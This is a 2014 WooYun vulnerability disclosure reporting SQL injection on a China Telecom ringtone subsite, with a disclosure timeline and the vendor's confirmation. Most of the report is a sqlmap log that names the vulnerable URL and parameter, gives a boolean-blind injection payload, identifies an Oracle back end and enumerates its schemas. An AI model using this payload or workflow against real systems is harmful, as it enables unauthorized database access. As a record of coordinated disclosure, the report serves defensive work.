当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-074717

漏洞标题:中国电信某分站一处sql注入

相关厂商:中国电信

漏洞作者: Mosuan

提交时间:2014-09-02 15:46

修复时间:2014-10-17 15:48

公开时间:2014-10-17 15:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-02: 细节已通知厂商并且等待厂商处理中
2014-09-07: 厂商已经确认,细节仅向厂商公开
2014-09-17: 细节向核心白帽子及相关领域专家公开
2014-09-27: 细节向普通白帽子公开
2014-10-07: 细节向实习白帽子公开
2014-10-17: 细节向公众公开

简要描述:

rt

详细说明:

注入地址:http://www.118320.com/cring/jsp/user/listener.jsp?ringId=135&type=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:29:25
[00:29:25] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.118320.com\session' as session file
[00:29:25] [INFO] testing connection to the target url
[00:29:25] [INFO] testing if the url is stable, wait a few seconds
[00:29:26] [INFO] url is stable
[00:29:26] [INFO] testing if GET parameter 'ringId' is dynamic
[00:29:26] [INFO] confirming that GET parameter 'ringId' is dynamic
[00:29:27] [INFO] GET parameter 'ringId' is dynamic
[00:29:27] [WARNING] heuristic test shows that GET parameter 'ringId' might not
be injectable
[00:29:27] [INFO] testing sql injection on GET parameter 'ringId'
[00:29:27] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:29:27] [INFO] GET parameter 'ringId' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
[00:29:27] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:29:28] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:29:28] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[00:29:28] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[00:29:28] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:29:28] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:29:28] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:29:28] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:29:29] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[00:29:29] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:29:29] [INFO] testing 'Oracle AND time-based blind'
[00:29:29] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:29:31] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:29:31] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[00:29:32] [INFO] checking if the injection point on GET parameter 'ringId' is a
false positive
GET parameter 'ringId' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
[00:29:35] [INFO] testing if GET parameter 'type' is dynamic
[00:29:35] [INFO] confirming that GET parameter 'type' is dynamic
[00:29:35] [INFO] GET parameter 'type' is dynamic
[00:29:36] [WARNING] heuristic test shows that GET parameter 'type' might not be
injectable
[00:29:36] [INFO] testing sql injection on GET parameter 'type'
[00:29:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:29:37] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:29:37] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:29:38] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[00:29:38] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[00:29:39] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:29:39] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:29:39] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:29:40] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:29:40] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[00:29:41] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:29:41] [INFO] testing 'Oracle AND time-based blind'
[00:29:42] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:29:47] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:29:53] [WARNING] GET parameter 'type' is not injectable
sqlmap identified the following injection points with a total of 187 HTTP(s) req
uests:
---
Place: GET
Parameter: ringId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ringId=135 AND 4550=4550&type=1
---
[00:29:53] [INFO] testing MySQL
[00:29:53] [WARNING] the back-end DBMS is not MySQL
[00:29:53] [INFO] testing Oracle
[00:29:53] [INFO] confirming Oracle
[00:29:53] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[00:29:53] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[00:29:53] [INFO] fetching database (schema) names
[00:29:53] [INFO] fetching number of databases
[00:29:53] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[00:29:53] [INFO] retrieved: 7
[00:29:58] [INFO] retrieved: APEX_030200
[00:30:55] [INFO] retrieved: CORPCRING
[00:31:44] [INFO] retrieved: EXFSYS
[00:32:18] [INFO] retrieved: MDSYS
[00:32:49] [INFO] retrieved: SYS
[00:33:09] [INFO] retrieved: SYSTEM
[00:33:45] [INFO] retrieved: XDB
available databases [7]:
[*] APEX_030200
[*] CORPCRING
[*] EXFSYS
[*] MDSYS
[*] SYS
[*] SYSTEM
[*] XDB
[00:34:05] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 38 times
[00:34:05] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.118320.com'
[*] shutting down at 00:34:05

漏洞证明:

public

修复方案:

过滤

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2014-09-07 09:25

厂商回复:

最新状态:

暂无